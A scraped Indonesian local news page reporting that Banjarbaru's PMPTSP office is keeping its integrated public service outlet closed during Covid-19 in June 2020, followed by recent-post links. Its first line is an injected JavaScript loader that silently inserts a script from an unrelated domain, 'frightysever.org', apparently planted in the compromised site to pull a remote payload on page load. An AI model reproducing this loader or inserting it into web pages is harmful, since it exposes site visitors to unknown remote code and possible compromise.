(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Gerai Pelayanan Publik Terpadu Belum Dibuka, Dinas PMPTSP Siapkan Prokol Kesehatan


KANALKALIMANTAN.COM, BANJARBARU – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (PMPTSP) Kota Banjarbaru belum berencana mengoperasikan kembali Gerai Pelayanan Publik Terpadu (GPPT) yang berlokasi di Jalan A Yani Km 24, Kecamatan Landasan Ulin.

Sejak merebaknya pandemi Covid-19 pada Maret lalu, pelayanan di GPPT tak lagi dioperasikan sampai saat ini. Sebagaimana diketahui, GPPT merupakan mall pelayanan publik yang disiapkan untuk memberikan kemudahan pelayanan bagi masyarakat.

Di GPPT sendiri tersedia berbagai layanan seperti pajak, layanan pos, perbankan, perizinan usaha sampai BPJS. Kunjungan masyarakat di GPPT untuk perharinya, sebelum merebaknya pademi, bisa mencapai 200 orang. Hal inilah yang dikhawatirkan bisa berpotensi terjadi penularan virus.

Kepala Dinas PMPTSP Banjarbaru Rahma Khairita, yang ditemui Kamis (25/6/2020) siang, mengatakan meski saat ini Kota Banjarbaru dalam fase pemberlakuan Pembatasan Kegiatan Masyarakat (PKM), pihaknya belum mewacanakan untuk mengoperasikan kembali GPPT.

Ada berbagai pertimbangan yang memfaktori hal ini, salah satunya angka sebaran kasus Covid-19 di Kota Banjarbaru yang terus bertambah. Terlebih lagi di wilayah Kecamatan Landasan Ulin dimana lokasi GPPT beroperasi adalah penyumbanh terbanyak angka temuan kasus Covid-19 di Kota Banjarbaru.

“Kita tidak bisa menjamin mengingat angka kasus Covid-19 di Kota Banjarbaru terus bertambah. Selain itu, beberapa instansi yang terlibat dalam pelayanan di GPPT juga belum diizinkan dari pimpinan pusat mereka untuk beroperasi kembali,” kata Rita -sapaan akrabnya.

Khusus di Dinas PMPTSP, kata Rita, layanan perizinan hampir 80 persen telah dilakukan secara daring atau online. Artinya, masyarakat dapat mengurus proses pembuatan maupun perpajangan izin dari rumah hanya melalui situs resmi yang dikelola Dinas PMPTSP.

Lantas, apakah ada wacana mengoperasikan  GPPT ketika kota Banjarbaru memasuki fase New Normal? Dalam hal ini, Rita mengaku hal itu bisa saja terjadi. Bahkan, pihaknya sendiri telah mempersiapkan protokol kesehatan di GPPT nantinya jika sudah beroperasi kembali.

“Sebenarnya kita sudah memasang sekat pembatas di ruang pelayanan, menyediakan tempat cuci tangan, serta tempat duduk pengunjung yang diberi jarak. Kalau Banjarbaru sudah masuk New Normal, maka bisa saja GPPT beroperasi kembali. Tapi jelas kita batasi jumlah kunjungannya. Untuk jam operasional nanti kita bahas lagi,” pungkas Rita. (Kanalkalimamtan.com/rico)

Reporter : rico
Editor : cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.